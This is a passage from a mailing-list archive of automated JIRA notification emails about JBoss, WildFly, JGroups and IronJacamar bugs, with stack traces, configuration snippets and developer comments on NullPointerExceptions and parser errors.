> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.HostControllerExecutionSupport$Factory.create(HostControllerExecutionSupport.java:167)
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.HostControllerExecutionSupport$Factory.create(HostControllerExecutionSupport.java:181)
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.OperationSlaveStepHandler.addSteps(OperationSlaveStepHandler.java:108)
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.OperationCoordinatorStepHandler.executeTwoPhaseOperation(OperationCoordinatorStepHandler.java:201)
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.OperationCoordinatorStepHandler.execute(OperationCoordinatorStepHandler.java:124)
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.PrepareStepHandler.execute(PrepareStepHandler.java:103)
> [Host Controller]   at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:610) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:488) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:277) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:272) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.controller.ModelControllerImpl.internalExecute(ModelControllerImpl.java:257) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.controller.ModelControllerImpl.execute(ModelControllerImpl.java:142) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.domain.http.server.DomainApiHandler.handleRequest(DomainApiHandler.java:154) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.domain.http.server.security.SubjectDoAsHandler$2.run(SubjectDoAsHandler.java:96) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.domain.http.server.security.SubjectDoAsHandler$2.run(SubjectDoAsHandler.java:92) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at java.security.AccessController.doPrivileged(Native Method) [rt.jar:1.7.0_17]
> [Host Controller]   at javax.security.auth.Subject.doAs(Subject.java:415) [rt.jar:1.7.0_17]
> [Host Controller]   at org.jboss.as.domain.http.server.security.SubjectDoAsHandler.handleRequest(SubjectDoAsHandler.java:92) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.domain.http.server.security.SubjectDoAsHandler.handleRequest(SubjectDoAsHandler.java:86) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at io.undertow.server.handlers.BlockingHandler.handleRequest(BlockingHandler.java:50) [undertow-core-1.0.0.Beta12.jar:1.0.0.Beta12]
> [Host Controller]   at org.jboss.as.domain.http.server.DomainApiCheckHandler.handleRequest(DomainApiCheckHandler.java:87) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at io.undertow.security.handlers.AuthenticationCallHandler.handleRequest(AuthenticationCallHandler.java:52) [undertow-core-1.0.0.Beta12.jar:1.0.0.Beta12]
> [Host Controller]   at io.undertow.server.HttpHandlers.executeRootHandler(HttpHandlers.java:36) [undertow-core-1.0.0.Beta12.jar:1.0.0.Beta12]
> [Host Controller]   at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:614) [undertow-core-1.0.0.Beta12.jar:1.0.0.Beta12]
> [Host Controller]   at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_17]
> [Host Controller]   at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_17]
> [Host Controller]   at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_17]
> [Host Controller] 
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 10:53:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Thu, 5 Sep 2013 10:53:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1684) NPE in UNICAST2.up()
In-Reply-To: <JIRA.12499446.1377612350000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499446.1377612350000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499446.1377612350000.11266.1378392783882@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1684?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801948#comment-12801948 ] 

Bela Ban commented on JGRP-1684:
--------------------------------

Re setting the src address in UNICAST: I want to avoid that because src is always set either in TP or TP.ProtocolAdapter. Also, setting might obscure the real cause.

Re local_addr: I'm changing it to volatile, thx.
                
> NPE in UNICAST2.up()
> --------------------
>
>                 Key: JGRP-1684
>                 URL: https://issues.jboss.org/browse/JGRP-1684
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 3.2.10
>            Reporter: Radoslav Husar
>            Assignee: Radoslav Husar
>
> {noformat}
> 11:53:25,993 ERROR [org.jgroups.protocols.UDP] (OOB-13,shared=udp) failed handling incoming message: java.lang.NullPointerException
> 	at java.util.concurrent.ConcurrentHashMap.get(ConcurrentHashMap.java:768) [rt.jar:1.6.0_45]
> 	at org.jgroups.protocols.UNICAST2.up(UNICAST2.java:432)
> 	at org.jgroups.protocols.pbcast.NAKACK.up(NAKACK.java:645)
> 	at org.jgroups.protocols.VERIFY_SUSPECT.up(VERIFY_SUSPECT.java:147)
> 	at org.jgroups.protocols.FD.up(FD.java:253)
> 	at org.jgroups.protocols.FD_SOCK.up(FD_SOCK.java:288)
> 	at org.jgroups.protocols.MERGE3.up(MERGE3.java:290)
> 	at org.jgroups.protocols.Discovery.up(Discovery.java:359)
> 	at org.jgroups.protocols.TP$ProtocolAdapter.up(TP.java:2610)
> 	at org.jgroups.protocols.TP.passMessageUp(TP.java:1263)
> 	at org.jgroups.protocols.TP$IncomingPacket.handleMyMessage(TP.java:1825)
> 	at org.jgroups.protocols.TP$IncomingPacket.run(TP.java:1798)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:895) [rt.jar:1.6.0_45]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:918) [rt.jar:1.6.0_45]
> 	at java.lang.Thread.run(Thread.java:662) [rt.jar:1.6.0_45]
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 10:55:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Thu, 5 Sep 2013 10:55:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1997) NPE executing domain operation
In-Reply-To: <JIRA.12499957.1378305399000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499957.1378305399000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499957.1378305399000.11272.1378392903991@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1997?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801950#comment-12801950 ] 

Brian Stansberry commented on WFLY-1997:
----------------------------------------

If this can be worked around, please do so, as this will likely be difficult to fix and will take a while.
                
> NPE executing domain operation
> ------------------------------
>
>                 Key: WFLY-1997
>                 URL: https://issues.jboss.org/browse/WFLY-1997
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.CR1
>
>
> {noformat}
> [ERROR] Request
> [ERROR] {
> [ERROR]     "operation" => "composite",
> [ERROR]     "address" => [],
> [ERROR]     "steps" => [
> [ERROR]         {
> [ERROR]             "address" => [("server-group" => "*")],
> [ERROR]             "operation" => "read-resource-description",
> [ERROR]             "access-control" => "trim-descriptions",
> [ERROR]             "operations" => true
> [ERROR]         },
> [ERROR]         {
> [ERROR]             "address" => [
> [ERROR]                 ("host" => "master"),
> [ERROR]                 ("server" => "*")
> [ERROR]             ],
> [ERROR]             "operation" => "read-resource-description",
> [ERROR]             "access-control" => "trim-descriptions",
> [ERROR]             "operations" => true
> [ERROR]         },
> [ERROR]         {
> [ERROR]             "address" => [("extension" => "*")],
> [ERROR]             "operation" => "read-resource-description",
> [ERROR]             "access-control" => "trim-descriptions",
> [ERROR]             "operations" => true
> [ERROR]         }
> [ERROR]     ],
> [ERROR]     "operation-headers" => {"roles" => "OPERATOR"}
> [ERROR] }
> {noformat}
> leads to  
> {noformat}
> [Host Controller] 16:34:53,544 ERROR [org.jboss.as.controller.management-operation] (XNIO-1 task-12) JBAS014612: Operation ("composite") failed - address: ([]): java.lang.NullPointerException
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.HostControllerExecutionSupport$Factory.create(HostControllerExecutionSupport.java:167)
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.HostControllerExecutionSupport$Factory.create(HostControllerExecutionSupport.java:181)
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.OperationSlaveStepHandler.addSteps(OperationSlaveStepHandler.java:108)
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.OperationCoordinatorStepHandler.executeTwoPhaseOperation(OperationCoordinatorStepHandler.java:201)
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.OperationCoordinatorStepHandler.execute(OperationCoordinatorStepHandler.java:124)
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.PrepareStepHandler.execute(PrepareStepHandler.java:103)
> [Host Controller]   at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:610) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:488) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:277) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:272) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.controller.ModelControllerImpl.internalExecute(ModelControllerImpl.java:257) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.controller.ModelControllerImpl.execute(ModelControllerImpl.java:142) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.domain.http.server.DomainApiHandler.handleRequest(DomainApiHandler.java:154) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.domain.http.server.security.SubjectDoAsHandler$2.run(SubjectDoAsHandler.java:96) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.domain.http.server.security.SubjectDoAsHandler$2.run(SubjectDoAsHandler.java:92) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at java.security.AccessController.doPrivileged(Native Method) [rt.jar:1.7.0_17]
> [Host Controller]   at javax.security.auth.Subject.doAs(Subject.java:415) [rt.jar:1.7.0_17]
> [Host Controller]   at org.jboss.as.domain.http.server.security.SubjectDoAsHandler.handleRequest(SubjectDoAsHandler.java:92) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.domain.http.server.security.SubjectDoAsHandler.handleRequest(SubjectDoAsHandler.java:86) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at io.undertow.server.handlers.BlockingHandler.handleRequest(BlockingHandler.java:50) [undertow-core-1.0.0.Beta12.jar:1.0.0.Beta12]
> [Host Controller]   at org.jboss.as.domain.http.server.DomainApiCheckHandler.handleRequest(DomainApiCheckHandler.java:87) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at io.undertow.security.handlers.AuthenticationCallHandler.handleRequest(AuthenticationCallHandler.java:52) [undertow-core-1.0.0.Beta12.jar:1.0.0.Beta12]
> [Host Controller]   at io.undertow.server.HttpHandlers.executeRootHandler(HttpHandlers.java:36) [undertow-core-1.0.0.Beta12.jar:1.0.0.Beta12]
> [Host Controller]   at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:614) [undertow-core-1.0.0.Beta12.jar:1.0.0.Beta12]
> [Host Controller]   at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_17]
> [Host Controller]   at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_17]
> [Host Controller]   at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_17]
> [Host Controller] 
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 11:11:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 5 Sep 2013 11:11:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBJCA-1073) Resource adapter needs an
 explicit <xa-pool> in order to enable XA functionality
In-Reply-To: <JIRA.12499530.1377720569000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499530.1377720569000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499530.1377720569000.11322.1378393863542@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JBJCA-1073?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801964#comment-12801964 ] 

RH Bugzilla Integration commented on JBJCA-1073:
------------------------------------------------

Jesper Pedersen <jpederse at redhat.com> made a comment on [bug 991380|https://bugzilla.redhat.com/show_bug.cgi?id=991380]

Fixed in EAP 6.2.0
                
> Resource adapter needs an explicit <xa-pool> in order to enable XA functionality
> --------------------------------------------------------------------------------
>
>                 Key: JBJCA-1073
>                 URL: https://issues.jboss.org/browse/JBJCA-1073
>             Project: IronJacamar
>          Issue Type: Bug
>          Components: Common
>    Affects Versions: 1.0.19.Final, 1.1.0.Final
>            Reporter: Jesper Pedersen
>            Assignee: Jesper Pedersen
>            Priority: Critical
>             Fix For: 1.0.20.Final, 1.1.1.Final
>
>
> The parser needs to look at <transaction-support> in addition

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 11:11:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 5 Sep 2013 11:11:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBJCA-1073) Resource adapter needs an
 explicit <xa-pool> in order to enable XA functionality
In-Reply-To: <JIRA.12499530.1377720569000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499530.1377720569000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499530.1377720569000.11324.1378393863628@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JBJCA-1073?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801965#comment-12801965 ] 

RH Bugzilla Integration commented on JBJCA-1073:
------------------------------------------------

Jesper Pedersen <jpederse at redhat.com> changed the Status of [bug 991380|https://bugzilla.redhat.com/show_bug.cgi?id=991380] from NEW to ON_QA
                
> Resource adapter needs an explicit <xa-pool> in order to enable XA functionality
> --------------------------------------------------------------------------------
>
>                 Key: JBJCA-1073
>                 URL: https://issues.jboss.org/browse/JBJCA-1073
>             Project: IronJacamar
>          Issue Type: Bug
>          Components: Common
>    Affects Versions: 1.0.19.Final, 1.1.0.Final
>            Reporter: Jesper Pedersen
>            Assignee: Jesper Pedersen
>            Priority: Critical
>             Fix For: 1.0.20.Final, 1.1.1.Final
>
>
> The parser needs to look at <transaction-support> in addition

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 11:15:04 2013
From: jira-events at lists.jboss.org (Jesper Pedersen (JIRA))
Date: Thu, 5 Sep 2013 11:15:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1990) WebsphereMQ 7 Resource
 Adapter error: IJ010061: Unexpected element: archive
In-Reply-To: <JIRA.12499816.1378205952000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499816.1378205952000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499816.1378205952000.11337.1378394104481@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1990?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Jesper Pedersen closed WFLY-1990.
---------------------------------

      Assignee:     (was: Jason Greene)
    Resolution: Rejected


Use the forum in the future for questions
                
> WebsphereMQ 7 Resource Adapter error: IJ010061: Unexpected element: archive
> ---------------------------------------------------------------------------
>
>                 Key: WFLY-1990
>                 URL: https://issues.jboss.org/browse/WFLY-1990
>             Project: WildFly
>          Issue Type: Bug
>          Components: Server
>    Affects Versions: 8.0.0.Alpha4
>         Environment: Windows 7, 4GB RAM
>            Reporter: Sipatha S
>              Labels: resource-adapter
>
> I'm getting the error when trying to configure WebsphereMQ 7 resource adapter on WildFly/JBoss 8. (I have already copied the rar file; *wmq.jmsra.rar* to the deployments directory):
> {noformat}
> 12:23:44,485 DEBUG [org.jboss.as.config] (MSC service thread 1-7) VM Arguments: -XX:+TieredCompilation -XX:+UseCompressedOops -Dprogram.name=standalone.bat -Xms64M -Xmx512M -XX:MaxPermSize=256M -Djava.net.preferIPv4Stack=true -Djboss.modules.system.pkgs=org.jboss.byteman -Dorg.jboss.boot.log.file=C:\Install\WildFly\wildfly-8.0.0.Alpha4\nodes\node01\log\server.log -Dlogging.configuration=file:C:\Install\WildFly\wildfly-8.0.0.Alpha4\nodes\node01\configuration/logging.properties 
> 12:23:54,482 ERROR [org.jboss.as.server] (Controller Boot Thread) JBAS015956: Caught exception during boot: org.jboss.as.controller.persistence.ConfigurationPersistenceException: JBAS014676: Failed to parse configuration
> 	at org.jboss.as.controller.persistence.XmlConfigurationPersister.load(XmlConfigurationPersister.java:112) [wildfly-controller-8.0.0.Alpha4.jar:8.0.0.Alpha4]
> 	at org.jboss.as.server.ServerService.boot(ServerService.java:322) [wildfly-server-8.0.0.Alpha4.jar:8.0.0.Alpha4]
> 	at org.jboss.as.controller.AbstractControllerService$1.run(AbstractControllerService.java:245) [wildfly-controller-8.0.0.Alpha4.jar:8.0.0.Alpha4]
> 	at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_25]
> Caused by: javax.xml.stream.XMLStreamException: org.jboss.as.connector.util.ParserException: IJ010061: Unexpected element: archive
> 	at org.jboss.as.connector.subsystems.resourceadapters.ResourceAdapterSubsystemParser.readElement(ResourceAdapterSubsystemParser.java:363)
> 	at org.jboss.as.connector.subsystems.resourceadapters.ResourceAdapterSubsystemParser.readElement(ResourceAdapterSubsystemParser.java:94)
> 	at org.jboss.staxmapper.XMLMapperImpl.processNested(XMLMapperImpl.java:110) [staxmapper-1.1.0.Final.jar:1.1.0.Final]
> 	at org.jboss.staxmapper.XMLExtendedStreamReaderImpl.handleAny(XMLExtendedStreamReaderImpl.java:69) [staxmapper-1.1.0.Final.jar:1.1.0.Final]
> 	at org.jboss.as.server.parsing.StandaloneXml.parseServerProfile(StandaloneXml.java:1131) [wildfly-server-8.0.0.Alpha4.jar:8.0.0.Alpha4]
> 	at org.jboss.as.server.parsing.StandaloneXml.readServerElement_1_4(StandaloneXml.java:460) [wildfly-server-8.0.0.Alpha4.jar:8.0.0.Alpha4]
> 	at org.jboss.as.server.parsing.StandaloneXml.readElement(StandaloneXml.java:147) [wildfly-server-8.0.0.Alpha4.jar:8.0.0.Alpha4]
> 	at org.jboss.as.server.parsing.StandaloneXml.readElement(StandaloneXml.java:109) [wildfly-server-8.0.0.Alpha4.jar:8.0.0.Alpha4]
> 	at org.jboss.staxmapper.XMLMapperImpl.processNested(XMLMapperImpl.java:110) [staxmapper-1.1.0.Final.jar:1.1.0.Final]
> 	at org.jboss.staxmapper.XMLMapperImpl.parseDocument(XMLMapperImpl.java:69) [staxmapper-1.1.0.Final.jar:1.1.0.Final]
> 	at org.jboss.as.controller.persistence.XmlConfigurationPersister.load(XmlConfigurationPersister.java:104) [wildfly-controller-8.0.0.Alpha4.jar:8.0.0.Alpha4]
> 	... 3 more
> Caused by: org.jboss.as.connector.util.ParserException: IJ010061: Unexpected element: archive
> 	at org.jboss.as.connector.subsystems.resourceadapters.ResourceAdapterParser.parseResourceAdapters(ResourceAdapterParser.java:127)
> 	at org.jboss.as.connector.subsystems.resourceadapters.ResourceAdapterParser.parse(ResourceAdapterParser.java:89)
> 	at org.jboss.as.connector.subsystems.resourceadapters.ResourceAdapterSubsystemParser.readElement(ResourceAdapterSubsystemParser.java:354)
> 	... 13 more
> 12:23:54,492 FATAL [org.jboss.as.server] (Controller Boot Thread) JBAS015957: Server boot has failed in an unrecoverable manner; exiting. See previous messages for details.
> 12:23:54,576 INFO  [org.jboss.as] (MSC service thread 1-2) JBAS015950: WildFly 8.0.0.Alpha4 "WildFly" stopped in 6ms
> {noformat}
> Below is the resource adapter configuration:
> {code:xml}
> <subsystem xmlns="urn:jboss:domain:resource-adapters:1.1">
>     <resource-adapters>
>         <resource-adapter>
>             <archive>wmq.jmsra.rar</archive>
>             <config-property name="Name">WebsphereMQ_Resource</config-property>
>             <transaction-support>NoTransaction</transaction-support>
>             <connection-definitions>
>                 <connection-definition class-name="com.ibm.mq.connector.outbound.ManagedConnectionFactoryImpl" jndi-name="java:mq/MY_QMGR_CF" pool-name="MY_QMGR_CF">
>                     <config-property name="channel">CLIENT.my_qmgr</config-property>
>                     <config-property name="transportType">CLIENT</config-property>
>                     <config-property name="queueManager">my_qmgr</config-property>
>                     <config-property name="port">1420</config-property>
>                     <config-property name="hostName">localhost</config-property>
>                     <validation>
>                         <background-validation>true</background-validation>
>                         <background-validation-millis>0</background-validation-millis>
>                     </validation>
>                 </connection-definition>
>             </connection-definitions>
>             <admin-objects>
>                 <admin-object class-name="com.ibm.mq.connector.outbound.MQQueueProxy" jndi-name="java:mq/TEST_WILDFLY_8" pool-name="TEST_WILDFLY_8_POOL">
>                     <config-property name="baseQueueManagerName">my_qmgr</config-property>
>                     <config-property name="baseQueueName">TEST_WILDFLY_8</config-property>
>                 </admin-object>
>             </admin-objects>
>         </resource-adapter>
>     </resource-adapters>
> </subsystem>
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 11:15:05 2013
From: jira-events at lists.jboss.org (James Perkins (JIRA))
Date: Thu, 5 Sep 2013 11:15:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-508) JSR-352 Batch Applications API
	support
In-Reply-To: <JIRA.12485208.1361308688000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12485208.1361308688000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12485208.1361308688000.11351.1378394105181@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-508?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

James Perkins reassigned WFLY-508:
----------------------------------

    Assignee: James Perkins  (was: Cheng Fang)

    
> JSR-352 Batch Applications API support
> --------------------------------------
>
>                 Key: WFLY-508
>                 URL: https://issues.jboss.org/browse/WFLY-508
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: EE
>            Reporter: David Lloyd
>            Assignee: James Perkins
>             Fix For: 8.0.0.Beta1
>
>
> Support the Batch Applications for the Java Platform 1.0 spec as per Java EE 7 specification.
> spec, RI & TCK page: http://java.net/projects/jbatch

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 11:17:03 2013
From: jira-events at lists.jboss.org (James Perkins (JIRA))
Date: Thu, 5 Sep 2013 11:17:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-508) JSR-352 Batch Applications API
	support
In-Reply-To: <JIRA.12485208.1361308688000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12485208.1361308688000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12485208.1361308688000.11370.1378394223923@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-508?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801969#comment-12801969 ] 

James Perkins commented on WFLY-508:
------------------------------------

The goal is to make it into Beta1. I have the model/XML portion done, just need to integrate JBeret. I'm working on that today.
                
> JSR-352 Batch Applications API support
> --------------------------------------
>
>                 Key: WFLY-508
>                 URL: https://issues.jboss.org/browse/WFLY-508
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: EE
>            Reporter: David Lloyd
>            Assignee: James Perkins
>             Fix For: 8.0.0.Beta1
>
>
> Support the Batch Applications for the Java Platform 1.0 spec as per Java EE 7 specification.
> spec, RI & TCK page: http://java.net/projects/jbatch

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 11:23:03 2013
From: jira-events at lists.jboss.org (Wolf-Dieter Fink (JIRA))
Date: Thu, 5 Sep 2013 11:23:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2011) jboss-ejb3.xml deployment
 descriptor is not parsed correct for the clustering element
In-Reply-To: <JIRA.12500087.1378394515971@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500087.1378394515971@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500087.1378394515971.11409.1378394583653@jira02.app.mwc.hst.phx2.redhat.com>

Wolf-Dieter Fink created WFLY-2011:
--------------------------------------

             Summary: jboss-ejb3.xml deployment descriptor is not parsed correct for the clustering element
                 Key: WFLY-2011
                 URL: https://issues.jboss.org/browse/WFLY-2011
             Project: WildFly
          Issue Type: Bug
          Components: EJB
    Affects Versions: 8.0.0.Beta1
            Reporter: Wolf-Dieter Fink
            Assignee: jaikiran pai


If beans of an application are marked as clustered by using the jboss-ejb3.xml DD the behaviour is not consistent.

>From the XSD the <ejb-name> element can not be added multiple times.
And the following configuration will be not valid:
  <assembly-descriptor>
    <c:clustering>
      <ejb-name>Bean1</ejb-name>
      <ejb-name>Bean2</ejb-name>
      <c:clustered>true</c:clustered>
    </c:clustering>
  </assembly-descriptor>

The parser should throw an Exception and the application should not be deployed.




--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 11:37:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 5 Sep 2013 11:37:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1650) Legacy subsystem testing
 needs some classloading exclusion mecanism
In-Reply-To: <JIRA.12495799.1373019038000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12495799.1373019038000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12495799.1373019038000.11487.1378395424460@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1650?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801987#comment-12801987 ] 

